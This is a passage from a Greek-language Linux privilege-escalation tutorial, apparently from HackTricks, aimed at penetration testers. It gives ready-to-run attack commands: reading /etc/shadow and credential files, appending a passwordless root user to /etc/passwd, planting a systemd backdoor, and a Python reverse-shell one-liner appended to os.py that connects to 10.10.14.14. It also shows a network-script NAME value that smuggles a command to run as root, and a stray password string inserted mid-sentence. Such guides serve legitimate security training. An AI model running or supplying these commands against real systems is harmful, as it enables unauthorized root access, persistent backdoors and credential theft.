μπορεί να επιτρέψει ή να απαγορεύσει το ssh-agent forwarding με το keyword AllowAgentForwarding
(προεπιλογή: allow).
Αν βρείτε ότι το Forward Agent είναι ρυθμισμένο σε ένα περιβάλλον, διαβάστε την ακόλουθη σελίδα καθώς you may be able to abuse it to escalate privileges:
{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}
Ενδιαφέροντα Αρχεία
Αρχεία προφίλ
Το αρχείο /etc/profile
και τα αρχεία κάτω από /etc/profile.d/
είναι scripts που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell. Επομένως, αν μπορείτε να γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να escalate privileges.
ls -l /etc/profile /etc/profile.d/
Αν βρεθεί κάποιο περίεργο profile script, θα πρέπει να το ελέγξετε για ευαίσθητες λεπτομέρειες.
Passwd/Shadow Files
Ανάλογα με το OS τα /etc/passwd
και /etc/shadow
αρχεία μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει ένα backup. Επομένως συνιστάται να τα βρείτε όλα και να ελέγξετε αν μπορείτε να τα διαβάσετε για να δείτε εάν υπάρχουν hashes μέσα στα αρχεία:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
Σε ορισμένες περιπτώσεις μπορεί να βρείτε password hashes μέσα στο αρχείο /etc/passwd
(ή αντίστοιχο)
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Writable /etc/passwd
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις ακόλουθες εντολές.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Στη συνέχεια, προσθέστε τον χρήστη hacker
και εισάγετε τον δημιουργημένο κωδικό πρόσβασης: C!s7#f9Vq2Zr$P4x
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Π.χ.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Μπορείτε τώρα να χρησιμοποιήσετε την εντολή su
με hacker:hacker
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν ψεύτικο χρήστη χωρίς κωδικό.
ΠΡΟΣΟΧΗ: ενδέχεται να μειώσετε την τρέχουσα ασφάλεια του μηχανήματος.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το /etc/passwd
βρίσκεται στο /etc/pwd.db
και στο /etc/master.passwd
, επίσης το /etc/shadow
μετονομάζεται σε /etc/spwd.db
.
Πρέπει να ελέγξεις αν μπορείς να γράψεις σε κάποια ευαίσθητα αρχεία. Για παράδειγμα, μπορείς να γράψεις σε κάποιο service configuration file;
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Για παράδειγμα, αν η μηχανή τρέχει έναν tomcat server και μπορείτε να modify the Tomcat service configuration file inside /etc/systemd/, τότε μπορείτε να τροποποιήσετε τις γραμμές:
ExecStart=/path/to/backdoor
User=root
Group=root
Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat.
Έλεγχος φακέλων
Οι παρακάτω φάκελοι ενδέχεται να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Πιθανώς δεν θα μπορέσετε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Παράξενη Τοποθεσία/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Τροποποιημένα αρχεία των τελευταίων λεπτών
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB αρχεία
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Κρυφά αρχεία
find / -type f -iname ".*" -ls 2>/dev/null
Script/Binaries στο PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Web αρχεία
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Αντίγραφα ασφαλείας
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Γνωστά αρχεία που περιέχουν passwords
Διάβασε τον κώδικα του linPEAS, ψάχνει για πολλά πιθανά αρχεία που μπορεί να περιέχουν passwords.
Ένα ακόμη χρήσιμο εργαλείο που μπορείς να χρησιμοποιήσεις γι' αυτό είναι: LaZagne η οποία είναι μια εφαρμογή ανοικτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών passwords αποθηκευμένων σε έναν τοπικό υπολογιστή για Windows, Linux & Mac.
Αρχεία καταγραφής
Αν μπορείς να διαβάσεις αρχεία καταγραφής, ίσως μπορέσεις να βρεις ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτά. Όσο πιο περίεργο είναι το αρχείο καταγραφής, τόσο πιο ενδιαφέρον πιθανώς θα είναι.
Επίσης, κάποια «κακώς» ρυθμισμένα (backdoored?) audit logs μπορεί να σου επιτρέψουν να καταγράψεις passwords μέσα σε audit logs όπως εξηγείται σε αυτήν την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/].
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Για να διαβάσετε τα logs η ομάδα adm θα είναι πραγματικά χρήσιμη.
Shell files
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Θα πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "password" στο όνομα τους ή μέσα στο περιεχόμενο, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή regexps για hashes.
Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που πραγματοποιεί το linpeas.
Εγγράψιμα αρχεία
Python library hijacking
Αν γνωρίζετε από πού θα εκτελεστεί ένα python script και μπορείτε να γράψετε σε αυτόν τον φάκελο ή μπορείτε να τροποποιήσετε python libraries, μπορείτε να τροποποιήσετε τη βιβλιοθήκη os και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Για να backdoor the library απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (αλλάξτε IP και PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Εκμετάλλευση του logrotate
Μια ευπάθεια στο logrotate
επιτρέπει σε χρήστες με δικαιώματα εγγραφής σε ένα αρχείο καταγραφής ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αναβαθμισμένα προνόμια. Αυτό συμβαίνει επειδή το logrotate
, που συχνά τρέχει ως root, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως /etc/bash_completion.d/. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο /var/log αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή των logs.
Tip
Αυτή η ευπάθεια επηρεάζει την έκδοση
3.18.0
τουlogrotate
και παλαιότερες
Περισσότερες πληροφορίες για την ευπάθεια υπάρχουν στη σελίδα: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με logrotten.
Αυτή η ευπάθεια είναι πολύ παρόμοια με CVE-2016-1247 (nginx logs), οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να ανεβάσετε προνόμια αντικαθιστώντας τα logs με symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Αναφορά ευπάθειας: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
If, for whatever reason, a user is able to write an ifcf-<whatever>
script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.
Τα network scripts, ifcg-eth0 για παράδειγμα, χρησιμοποιούνται για τις συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, είναι sourced στο Linux από το Network Manager (dispatcher.d).
Στην περίπτωσή μου, το NAME=
που αποδίδεται σε αυτά τα network scripts δεν χειρίζεται σωστά. Εάν έχετε λευκό/κενό διάστημα στο όνομα το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό διάστημα. Αυτό σημαίνει ότι ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Σημείωση: το κενό διάστημα μεταξύ Network και /bin/id)
init, init.d, systemd, and rc.d
Ο κατάλογος /etc/init.d
φιλοξενεί scripts για το System V init (SysVinit), το κλασικό σύστημα διαχείρισης υπηρεσιών του Linux. Περιλαμβάνει scripts για start
, stop
, restart
και μερικές φορές reload
υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται στο /etc/rc?.d/
. Μια εναλλακτική διαδρομή σε Redhat συστήματα είναι /etc/rc.d/init.d
.
Από την άλλη, το /etc/init
σχετίζεται με το Upstart, ένα νεότερο σύστημα διαχείρισης υπηρεσιών που εισήχθη από την Ubuntu, το οποίο χρησιμοποιεί αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός compatibility layer στο Upstart.
systemd εμφανίζεται ως ένας σύγχρονος initializer και service manager, προσφέροντας προηγμένα χαρακτηριστικά όπως on-demand daemon starting, automount management και system state snapshots. Οργανώνει αρχεία σε /usr/lib/systemd/
για πακέτα διανομής και σε /etc/systemd/system/
για τροποποιήσεις από διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος.
Άλλα κόλπα
NFS Privilege escalation
{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}
Escaping from restricted Shells
{{#ref}} escaping-from-limited-bash.md {{#endref}}
Cisco - vmanage
{{#ref}} cisco-vmanage.md {{#endref}}
Android rooting frameworks: manager-channel abuse
Τα Android rooting frameworks συχνά κάνουν hook σε ένα syscall για να εκθέσουν privileged kernel functionality σε έναν userspace manager. Αδύναμη manager authentication (π.χ. έλεγχοι signature βασισμένοι στη σειρά FD ή φτωχά password schemes) μπορεί να επιτρέψουν σε ένα τοπικό app να παριστάνει τον manager και να escalates σε root σε συσκευές που είναι ήδη rooted. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Περισσότερη βοήθεια
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Εργαλείο για την αναζήτηση kernel vulns σε Linux και MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
Αναφορές
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Reference Manual – Shell Arithmetic
{{#include ../../banners/hacktricks-training.md}}